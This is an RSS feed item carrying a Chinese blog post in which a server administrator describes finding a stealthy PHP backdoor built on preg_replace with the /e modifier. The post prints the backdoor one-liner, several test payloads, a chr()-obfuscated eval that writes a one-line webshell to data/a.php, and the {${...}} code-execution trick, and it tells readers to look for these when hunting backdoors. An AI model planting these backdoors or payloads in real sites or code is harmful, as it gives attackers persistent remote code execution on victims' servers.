<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[沧海一粟]]></title> 
<link>http://www.dzhope.com/index.php</link> 
<description><![CDATA[Web系统架构与服务器运维,php开发]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[沧海一粟]]></copyright>
<item>
<link>http://www.dzhope.com/post//</link>
<title><![CDATA[免杀后门：记一次发现利用preg_replace隐藏后门和后续探究]]></title> 
<author>jed &lt;jed521@163.com&gt;</author>
<category><![CDATA[服务器技术]]></category>
<pubDate>Wed, 05 Jun 2013 02:41:02 +0000</pubDate> 
<guid>http://www.dzhope.com/post//</guid> 
<description>
<![CDATA[ 
	php后门有很多，包子也见多了和玩多了，但是在一次帮助朋友检查服务器的时候，竟然发现这样的恶意代码。<br/> <br/>事情是这样的，朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到，小黑的伎俩很高级，每次使用完毕总是把后门删掉，但是每次都能继续进来，总是找不到从哪进来的。这个着实让人蛋疼。<br/> <br/>后来，终于在日志中发现一丝蛛丝马迹，通过我的分析，我发现一个IP总是很奇怪的POST数据到某个文件。然后一段时间后，此IP就访问一个莫名奇妙文件，名字很显眼明显不是正常系统文件，而是PHP后门。但是很快使用完毕后门就被删除了。<br/> <br/>哈哈，遇到小黑蛮细心的。<br/> <br/>然后通过分析发现，小黑的访问的文件发现代码：<br/> <br/> <br/>@preg_replace(“//e”,$_POST[&#039;IN_COMSENZ&#039;],”Access Denied”); <br/> <br/> <br/>如果你看到这个代码是不是有的也没什么问题，但是，这个就是小黑的掩藏的恶意代码和后门。隐蔽吧，基本上任何查杀软件都查杀不到。<br/> <br/>preg_replace函数原型：<br/> <br/>mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])<br/> <br/>特别说明：<br/> <br/>/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示：要确保 replacement 构成一个合法的 PHP 代码字符串，否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。<br/> <br/>上面的代码是POST接受数据要测试，比较麻烦，如果换成GET获取数据的话。。。<br/> <br/>举例：<br/>&nbsp;&nbsp;<br/> echo preg_replace(“/test/e”,$_GET[&quot;h&quot;],”jutst test”); <br/> <br/> <br/>如果我们提交?h=phpinfo()，phpinfo()将会被执行(使用/e修饰符，preg_replace会将 replacement 参数当作 PHP 代码执行)。<br/> <br/>如果我们要POST的话，我们测试提交下面的代码会怎么样呢?<br/> <br/>h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59)) <br/> <br/>密文对应的明文是：<br/> <br/>fputs(fopen(data/a.php,w),);<br/> <br/>执行的结果是在/data/目录下生成一个一句话木马文件 a.php。<br/> <br/>这个就恐怖了吧。。。。<br/> <br/>再来一个有难度的例子：<br/> <br/> <br/> &lt;?&nbsp;&nbsp;<br/> <br/>function test($str)&nbsp;&nbsp;<br/> <br/>{&nbsp;&nbsp;<br/> <br/>}&nbsp;&nbsp;<br/> <br/>echo preg_replace(“/s*[php]KC4rPyk=[/php]s*/ies”, ‘test(“&#92;1″)’, $_GET[&quot;h&quot;]);&nbsp;&nbsp;<br/> <br/>?&gt; <br/>提交 ?h=phpinfo() ，phpinfo()会被执行吗?<br/> <br/>肯定不会。因为经过正则匹配后， replacement 参数变为’test(“phpinfo”)’，此时phpinfo仅是被当做一个字符串参数了。<br/> <br/>有没有办法让它执行呢?<br/> <br/>当然有。在这里我们如果提交?h={${phpinfo()}}，phpinfo()就会被执行。为什么呢?<br/> <br/>在php中，双引号里面如果包含有变量，php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。<br/> <br/>注意：双引号中的函数不会被执行和替换。<br/> <br/>在这里我们需要通过{${}}构造出了一个特殊的变量，’test(“{${phpinfo()}}”)’，达到让函数被执行的效果(${phpinfo()}会被解释执行)。<br/> <br/>可以先做如下测试：<br/> <br/>echo “{${phpinfo()}}”; phpinfo会被成功执行了。<br/> <br/>所以，各位查找后门的时候注意查找下。<br/> <br/>OK，说了那么多，也了解了，以上我给的代码：<br/> <br/> <br/> @preg_replace(“//e”,$_POST[&#039;IN_COMSENZ&#039;],”Access Denied”); <br/> <br/> <br/>看似很正常的代码，其实就是一个极度危险的代码，隐藏颇深啊。哈哈。希望对大家有帮助<br/>Tags - <a href="http://www.dzhope.com/tags/php%25E6%259C%25A8%25E9%25A9%25AC/" rel="tag">php木马</a> , <a href="http://www.dzhope.com/tags/php%25E5%2590%258E%25E9%2597%25A8/" rel="tag">php后门</a>
]]>
</description>
</item><item>
<link>http://www.dzhope.com/post//#blogcomment</link>
<title><![CDATA[[评论] 免杀后门：记一次发现利用preg_replace隐藏后门和后续探究]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://www.dzhope.com/post//#blogcomment</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>